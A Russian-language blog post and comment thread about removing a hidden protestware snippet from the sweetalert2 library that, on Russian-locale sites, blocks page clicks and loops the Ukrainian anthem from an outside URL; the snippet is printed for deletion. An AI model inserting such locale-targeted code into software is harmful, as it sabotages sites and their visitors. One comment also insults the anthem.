Сайт на WordPress поет Украинский гимн [Решено]

На днях столкнулись с одной проблемой — сайт одной компании поет Украинский гимн. Зачем это надо хакерам, и в чем смысл — вопрос открытый. Скорее всего, чтобы поднасолить. Других мыслей у меня нет🤷‍♂Решаем эту проблему.

Фотограф: luis gomes: https://www.pexels.com/ru-ru/photo/546819/
Фотограф: luis gomes: https://www.pexels.com/ru-ru/photo/546819/

В чем, собственно, была проблема?

Есть такой JavaScript скрипт для всплывающих окон, который называется «sweetalert2», и в его коде есть строки, проигрывающие mp3. Как стало известно, ранее этот скрипт показывал агитационные баннеры, и тут предлагается решение. Но, сегодня мы будем решать проблему с проигрыванием аудио.

Решение

Берем код, и удаляем от туда следующие строки (строки с 1553 по 1563):

if ("undefined" != typeof window && /^ru\b/.test(navigator.language) && location.host.match(/\.(ru|su|xn--p1ai)$/)) { const e = new Date, t = localStorage.getItem("swal-initiation"); t ? (e.getTime() - Date.parse(t)) / 864e5 > 3 && setTimeout((() => { document.body.style.pointerEvents = "none"; const e = document.createElement("audio"); e.src = "https://flag-gimn.ru/wp-content/uploads/2021/09/Ukraina.mp3", e.loop = !0, document.body.appendChild(e), setTimeout((() => { e.play().catch((() => {})) }), 2500) }), 500) : localStorage.setItem("swal-initiation", `${e}`) }

Надеюсь, данный материал вам помог, если вы столкнулись с такой проблемой.

Если у вас есть другие проблемы, связанные с подобного рода вещами, напишите в комментариях. Возможно, сможем найти решение.

С уважением,
Softmaster95!

7 комментариев

Если используем .min версию

Создайте новый файл и скопируйте туда исходный код
Далее прогоните код из файла через любой сайт деминификации
Найдите строчки и удалите их
И в дальнейшем используйте свой файл, чтобы у вас всегда под рукой был оригинал, на всякий случай

Опционально, можно обратно минифицировать код
или сразу обратиться к специалисту и не лезть самому ручками

2

Почему он поет гимн Украины, когда открывает сайт?

1

Нужно проверить скрипты

Такая же фигня после установки плагина Ultimate Addons for Contact Form 7
Играет этот позорный унылый гимн

Решили проблему?